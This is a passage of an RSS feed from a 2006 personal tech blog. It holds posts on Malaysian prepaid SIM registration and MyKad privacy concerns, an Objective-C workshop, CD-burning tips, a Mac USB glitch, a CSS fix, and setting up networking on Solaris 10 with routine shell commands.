			<content:encoded><![CDATA[<p>I registered my mom&#8217;s Digi prepaid number at Digi&#8217;s Melaka Raya office using my MyKad. The man slotted my MyKad to a reader and after a while he confirmed that my line had been registered. Today, when I was trying to make a call from my mom&#8217;s Digi number, it said that no outgoing call was allowed. I checked the validity and it expires on 12/31. There are 3 more days before the validity expires. I am going to Digi office tomorrow to make hell lot of noise, for sure.</p>
<p>The prepaid registration drive is really hectic and stupid. The government thinks that it can deter unlawful use but I don&#8217;t think so. There are many other ways to obtain a prepaid cell phone numbers without needing to register with true identity. Like in Taiwan, prepaid cell phones need to be registered but they still have lots of problems with &#8220;ghost&#8221; cell phones. I was able to register one for myself without much fuss. An advanced country like Taiwan can&#8217;t even solve the problem and our country is thinking that it can. What a childish assumption! That makes the whole thing looks so stupid.</p>
<p>Another thing which I have observed is that personal information are revealed when someone register a prepaid cell service using MyKad at dealers. The dealers are equipped with MyKad reader and software to read personal details from MyKad and these information including address will be displayed on the computer screen. Women please beware of this. You may be tracked. Perpetrator may use these information to hunt you down. So, everyone, please beware when you are registering your prepaid cell service at dealers. Make sure they don&#8217;t copy your personal information. Your information displayed in the window can be easily copied by pressing ALT + Print Scrn. This will capture the current window instantly.<br />
They think it is cool to register using MyKad and IT gadgets but that opens up a whole new opportunity for crimes. Please beware and make the government to change its policy that no one can read and display personal details without the presence of MyKad holder and these reader and software must be properly audited by trusted organization to make sure it does not save these information stealthily.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2006/12/28/what-a-stupid-digi-service/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Cocoa Bindings and Core Data Workshop</title>
		<link>http://adrianhoe.com/adrianhoe/2006/11/29/cocoa-bindings-and-core-data-workshop/</link>
		<comments>http://adrianhoe.com/adrianhoe/2006/11/29/cocoa-bindings-and-core-data-workshop/#comments</comments>
		<pubDate>Wed, 29 Nov 2006 10:00:51 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Cocoa]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Days in My Life]]></category>
		<category><![CDATA[General]]></category>
		<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[Objective-C]]></category>
		<category><![CDATA[Software Development]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/2006/11/29/cocoa-bindings-and-core-data-workshop/</guid>
		<description><![CDATA[The workshop was conducted by Leon at Apple Malaysia office at Bukit Damansara today. It was a really nice and productive workshop. I had experience in C/C++ long time ago then I moved to Ada sometime in 1995. I was first exposed to Objective-C during this workshop. Although I am not really interested in C [...]]]></description>
			<content:encoded><![CDATA[<p>The workshop was conducted by Leon at Apple Malaysia office at Bukit Damansara today. It was a really nice and productive workshop. I had experience in C/C++ long time ago then I moved to Ada sometime in 1995. I was first exposed to Objective-C during this workshop. Although I am not really interested in C and other C-derived languages, I do find Objective-C better than C++. Objective-C is a message passing object-oriented language. I develop applications on Carbon with Ada bindings. Cocoa is a object oriented native framework of Mac OS X build on Carbon which is procedural native framework in comparison.</p>
<p align="center"><img src="http://adrianhoe.com/adrianhoe/images/blog/Cocoa2006-11s.jpg" /><br />
The workshop at Apple Malaysia.</p>
<p align="center">
<p align="center"><img src="http://adrianhoe.com/adrianhoe/images/blog/Cocoa2006-01s.jpg" /><br />
Leon (light blue) helping Peter to solve problems.</p>
<p align="center"><img src="http://adrianhoe.com/adrianhoe/images/blog/Cocoa2006-04s.jpg" /><br />
That&#8217;s me working on Cocoa and Objective-C.</p>
<p align="center"><img src="http://adrianhoe.com/adrianhoe/images/blog/Cocoa2006-05s.jpg" /><br />
K.K. Chan (with eye glass) gets his hands on Cocoa.</p>
<p align="center"><img src="http://adrianhoe.com/adrianhoe/images/blog/Cocoa2006-08s.jpg" /><br />
Chris (front) from DevSIG.</p>
<p align="center"><img src="http://adrianhoe.com/adrianhoe/images/blog/Cocoa2006-09s.jpg" /><br />
Brian from <a href="http://suaveware.com">SuavéWare</a>.</p>
<p align="left">Leon, thanks for the productive workshop. I look forward to more Cocoa workshop particularly MySQL framework in Cocoa. More photos <a href="http://web.mac.com/chenleon/iWeb/Site/2006%20Cocoa%20Bindings%20and%20Core%20Data%20Workshop.html">here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2006/11/29/cocoa-bindings-and-core-data-workshop/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Rules of thumb when burning CD or DVD</title>
		<link>http://adrianhoe.com/adrianhoe/2006/11/14/rules-of-thumb-when-burning-cd-or-dvd/</link>
		<comments>http://adrianhoe.com/adrianhoe/2006/11/14/rules-of-thumb-when-burning-cd-or-dvd/#comments</comments>
		<pubDate>Tue, 14 Nov 2006 04:07:26 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[General]]></category>
		<category><![CDATA[Technology]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/2006/11/14/rules-of-thumb-when-burning-cd-or-dvd/</guid>
		<description><![CDATA[From my experience of burning CD (and DVD now) as well as the research I&#8217;ve done over burning CD and DVD, the rules of thumb for important data: Never ever burn a disc faster than it is rated for. Never ever use a high speed media. Use lowest speed media possible. 2-4x speed medias are [...]]]></description>
			<content:encoded><![CDATA[<p>From my experience of burning CD (and DVD now) as well as the research I&#8217;ve done over burning CD and DVD, the rules of thumb for important data:</p>
<ul>
<li>Never ever burn a disc faster than it is rated for.</li>
<li>Never ever use a high speed media. Use lowest speed media possible. 2-4x speed medias are excellent. You may save burning time but you compromise on data longevity.</li>
<li>Never buy cheap media. There is reason that it is cheap.</li>
<li>Scan at 10-24x when you&#8217;re making C1/C2 scans.</li>
<li>Scan at 2x if you make PIE/PIF scans.</li>
<li>Nothing last forever! Reburn after every 2-3 years.</li>
<li>Never expose burned CD or DVD to any light source, particularly, UV. Keep them in dark place.</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2006/11/14/rules-of-thumb-when-burning-cd-or-dvd/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mac Mini USB port hangs!</title>
		<link>http://adrianhoe.com/adrianhoe/2006/11/06/mac-mini-usb-port-hangs/</link>
		<comments>http://adrianhoe.com/adrianhoe/2006/11/06/mac-mini-usb-port-hangs/#comments</comments>
		<pubDate>Sun, 05 Nov 2006 23:02:53 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Mac OS X]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/2006/11/06/mac-mini-usb-port-hangs/</guid>
		<description><![CDATA[I tried to connect a USB card reader via an USB extension (1 to 1 port) which was connected to one of the USB port on Pluto. The power light on the reader came on and I inserted a CF card into the reader. The light on on the card slot did not turn on. [...]]]></description>
			<content:encoded><![CDATA[<p>I tried to connect a USB card reader via an USB extension (1 to 1 port) which was connected to one of the USB port on Pluto. The power light on the reader came on and I inserted a CF card into the reader. The light on on the card slot did not turn on. I tried many times and still could not mount my CF card.</p>
<p>I unplugged the USB extension and connect the card reader directly to USB port and it was still unmountable. I unplugged the optical mouse from another USB port and plugged it into the troubled port. The red LED of the optical mouse did not turn on. I tried with a keyboard and had no response on the keyboard.</p>
<p>Finally, I decided to restart Pluto. After the restart, the troubled USB port works again. I wonder what caused the USB port to hang. Is it the USB extension? Is it a software glitch? I sure hope that it is not a hardware problem.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2006/11/06/mac-mini-usb-port-hangs/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Weird formatting behavior</title>
		<link>http://adrianhoe.com/adrianhoe/2006/11/02/weird-formatting-behavior/</link>
		<comments>http://adrianhoe.com/adrianhoe/2006/11/02/weird-formatting-behavior/#comments</comments>
		<pubDate>Thu, 02 Nov 2006 09:13:27 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/2006/11/02/weird-formatting-behavior/</guid>
		<description><![CDATA[In my Solaris 10 post, there was a weird formatting behavior which troubled me in last 24 hours. The &#8220;#&#8221; were not aligned in same column. For example, it looks like this: Create two files in /etc # echo 195.168.24.1 > /etc/defaultrouter # echo nameserver DNS_ip_address_1 >> /etc/resolv.conf # echo nameserver DNS_ip_address_2 >> /etc/resolv.conf I [...]]]></description>
			<content:encoded><![CDATA[<p>In my Solaris 10 post, <a href="http://adrianhoe.com/adrianhoe/2006/10/30/solaris-10/">there</a> was a weird formatting behavior which troubled me in last 24 hours. The &#8220;#&#8221; were not aligned in same column. For example, it looks like this:</p>
<pre>
<ol>
<li>Create two files in /etc
<pre><code>
# echo 195.168.24.1 > /etc/defaultrouter
# echo nameserver DNS_ip_address_1 >> /etc/resolv.conf
# echo nameserver DNS_ip_address_2 >> /etc/resolv.conf
</code></pre>
</li>
</ol>
</pre>
<p>I came across Brian&#8217;s <a href="http://chapados.org/">website</a> and found his &lt;pre&gt; and &lt;code&gt; tags look great and I followed and modified his css stylesheet for my use. There was no problem before I added these tags because I used &lt;blockquote&gt; tag for this purpose. I could not solve the problem and I emailed Brian. After a couple of emails, I was still unable to solve the problem. In his last email, he said:</p>
<blockquote><p>&#8230;I suspect it has something to do with the css code.  Try commenting out the white-space and word-wrap commands from your pre tag style and see what happens&#8230;</p></blockquote>
<p>The idea rang in my head and I did some experiments and found the culprit was the &lt;ol&gt; tag. It contains &#8220;text-indent:-5px;&#8221;. I edited the &lt;ol&gt; tag in the html of Solaris 10 post and the problem is resolved:</p>
<pre><code>&lt;ol style="text-indent:0px;"&gt;
</code></pre>
<p>Thanks Brian, if you are reading this.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2006/11/02/weird-formatting-behavior/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Solaris 10</title>
		<link>http://adrianhoe.com/adrianhoe/2006/10/30/solaris-10/</link>
		<comments>http://adrianhoe.com/adrianhoe/2006/10/30/solaris-10/#comments</comments>
		<pubDate>Sun, 29 Oct 2006 16:02:23 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Solaris]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/2006/10/30/solaris-10/</guid>
		<description><![CDATA[Pyxis1 was down two months ago. I decided to try to revive it last Friday. At first, I was thinking of installing either FC5 (Fedora Core 5) or Debian. On second thought, I have had enough with Linux. I am running SPARC/Solaris 9 on Pyxis2 (Sun Blade 150). I always wanted to try out Solaris [...]]]></description>
			<content:encoded><![CDATA[<p><img align="right" style="border: 0px none " src="http://adrianhoe.com/adrianhoe/images/blog/logo-solaris.jpg" />Pyxis1 was down two months ago. I decided to try to revive it last Friday. At first, I was thinking of installing either FC5 (<a href="http://fedora.redhat.com/">Fedora</a> Core 5) or <a href="http://www.us.debian.org/">Debian</a>. On second thought, I have had enough with Linux. I am running SPARC/Solaris 9 on Pyxis2 (Sun Blade 150). I always wanted to try out Solaris 10 but I don&#8217;t want to mess with the existing Solaris 9 on Pyxis2. There is a saying, &#8220;Don&#8217;t fix thing if it ain&#8217;t broken.&#8221; and I always reminded myself. Pyxis1 has provided an opportunity to try out Solaris 10. So I started to search for the CDs which I received from <a href="http://sun.com">Sun</a> Microsystems. I found it but it was quite outdated compare to the 6/06 version on Sun&#8217;s server. I immediately began downloading 6 CDs.</p>
<p>The problem with Linux is that every distro has their own way of doing things. This is pretty obvious in configuration and config files. Although all distros are based on the same kernel, yet every distro has different kernel version and variation in configurtion of their kernel and software components. Another dreadful problem is the online updates which break the integrity of Linux and software components. A few weeks after my first successful installation of FC5, I performed an online updates and it instantly broke some working components. Although my FC5 is still working, I have problem with Desktop Login, displaying .png files, and some administration applications stop working as well.</p>
<p>Solaris 10 is an excellent UNIX operating system. It is currently free. The release and Sun&#8217;s OpenSolaris has stirred some uproar in the Open Source community and IT industry as a whole. Solaris 10 is a very impressive operating system in terms of some features no other operating system can claim and some are not necessarily new, but have been implemented in an excellent way. But yet it is not perfect. An obvious example is the detection and configuration of hardware, such as NIC and sound card, are not polished.</p>
<p>It is assumed that Solaris will not be installed by novice. The installation need humongous effort and is painful. The graphical installtion is resource hungry. Without the minimum 400MB RAM, the installation resort to console installation. The installation process is not well polished as aforementioned. But I believe, the future Solaris will receive plenty of improvement if Sun is heading to Linux territory. By that time, even the faint hearted novice would be able to install Solaris effortlessly.</p>
<p>Once the installation is completed, the operating system whirs swiftly, making the its old nickname &#8220;Slowlaris&#8221; not applicable.</p>
<p>Saturday evening I began the installation. After the first installation, I could not get my networking to work. I searched for posts and articles about problems with installing Solaris 10 on x86. I thought it might be some steps which I had overlook. At night, I installed it for second time. It was getting too late and I was tired and I left the installation to go on while I went to bed. I woke up early Sunday morning to finish the installation. Again, I was still having networking problem. After reading some posts, I started my own investigation.</p>
<p>First, I found out that the Solaris installation failed to detect and to configure my NIC. It was an integrated Intel 10/100 on Compaq Evo D510 Small Form Factor PC. I performed an &#8220;ifconfig -a&#8221; and only showed the loopback.</p>
<pre><code># ifconfig -a
lo0: flags=2001000849 mtu 8232 index 1
inet 127.0.0.1 netmask ff000000
</code></pre>
<p>Next, I needed to determine if my NIC was there. So I did:</p>
<pre><code># prtconf -pv</code></pre>
<p>It returned some results and I look for &#8220;Ethernet controller&#8221;:</p>
<pre><code>Node 0x000011
assigned-addresses:  82054010.00000000.f8500000.00000000.0000100
0.81054014.00000000.00001000.00000000.00000040
reg: 00054000.00000000.00000000.00000000.00000000.02054010.0000
0000.00000000.00000000.00001000.01054014.00000000.00000000.000
00000.00000040
compatible: 'pci8086,103b.e11.12.81' + 'pci8086,103b.e11.12' +
' pcie11,12' + 'pci8086,103b.81' + '<u>pci8086,103b</u>' + 'pciclass,020000' +
'pciclass, 0200'
model:  'Ethernet controller'
power-consumption:  00000001.00000001
fast-back-to-back:
devsel-speed:  00000001
interrupts:  00000001
max-latency:  00000038
min-grant:  00000008
subsystem-vendor-id:  00000e11
subsystem-id:  00000012
unit-address:  '8'
class-code:  00020000
revision-id:  00000081
vendor-id:  00008086
device-id:  0000103b
name:  'pcie11,12'</code></pre>
<p>With this output, I was sure that I had my NIC on Pyxis1. From the identifying handle, &#8220;pci8086&#8243;, I was certain to use iprb interface for the configuration. These are the steps which I followed:</p>
<ol style="text-indent:0px;">
<li>In /etc/driver_aliases, add
<pre><code>iprb "pci8086,103b"</code></pre>
</li>
<li>Reboot the system with
<pre><code># touch /reconfigure; reboot</code></pre>
</li>
<li>Setup iprb with
<pre><code># ifconfig iprb0 plumb
# ifconfig iprb0 inet 195.168.24.4 netmask 255.255.255.0 broadcast +
# ifconfig iprb0 up</code></pre>
</li>
<li>Creeat /etc/hostname.iprb0
<pre><code># echo pyxis1 > /etc/hostname.iprb0</code></pre>
</li>
<li>In /etc/hosts, add
<pre><code>195.168.24.4     pyxis1   pyxis1</code></pre>
</li>
<li>Create two files in /etc
<pre><code># echo 195.168.24.1 > /etc/defaultrouter
# echo nameserver DNS_ip_address_1 >> /etc/resolv.conf
# echo nameserver DNS_ip_address_2 >> /etc/resolv.conf</code></pre>
</li>
<li>Edit /etc/nsswitch.conf and add dns to line
<pre><code>host:         files dns</code></pre>
</li>
<li>lastly
<pre><code># route add deafult 195.168.24.1</code></pre>
</li>
</ol>
<p>After murdering millions of brain cells, the fun finally began. I <a href="http://adrianhoe.com/adrianhoe/2006/10/12/remote-desktop-login-from-mac/">login remotely</a> from Pluto. Here are some screenshots of Solaris 10 on Pyxis1:</p>
<p align="center"><a href="http://adrianhoe.com/adrianhoe/images/blog/screenshot-solaris86-1.png"><img style="border: 0px none " alt="Solaris 10 x86" title="Solaris 10 x86" src="http://adrianhoe.com/adrianhoe/images/blog/screenshot-solaris86-1-small.png" /></a></p>
<p align="center"><a href="http://adrianhoe.com/adrianhoe/images/blog/screenshot-solaris86-2.png"><img style="border: 0px none " alt="Solaris 10 x86" title="Solaris 10 x86" src="http://adrianhoe.com/adrianhoe/images/blog/screenshot-solaris86-2-small.png" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2006/10/30/solaris-10/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

